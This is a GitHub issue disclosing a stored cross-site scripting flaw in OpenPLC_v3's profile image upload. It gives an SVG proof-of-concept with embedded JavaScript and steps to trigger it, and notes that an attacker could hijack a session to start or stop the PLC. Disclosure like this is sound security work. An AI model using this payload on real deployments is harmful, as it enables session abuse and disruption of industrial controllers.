Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerability Found - Stored XSS via SVG File Upload #242

Open
1d8 opened this issue Jun 3, 2024 · 0 comments
Open

Vulnerability Found - Stored XSS via SVG File Upload #242

1d8 opened this issue Jun 3, 2024 · 0 comments

Comments

@1d8
Copy link

1d8 commented Jun 3, 2024

Git: https://github.com/thiagoralves/OpenPLC_v3

Stored XSS Via Profile Image Upload

Reproduction

Use this payload & save it as image.svg:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by 1d8");
</script>
</svg>
  1. Login > Users > Select a user to edit
  2. Upload the image.svg as the picture
  3. Save changes
  4. Right-click the profile image in upper-right hand corner > Open image in new tab

Our XSS payload is now executed

Impact

Since we can inject our own Javascript, we can abuse the user's logged in cookie to do things such as start/stop the PLC or interact with the Slave devices

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant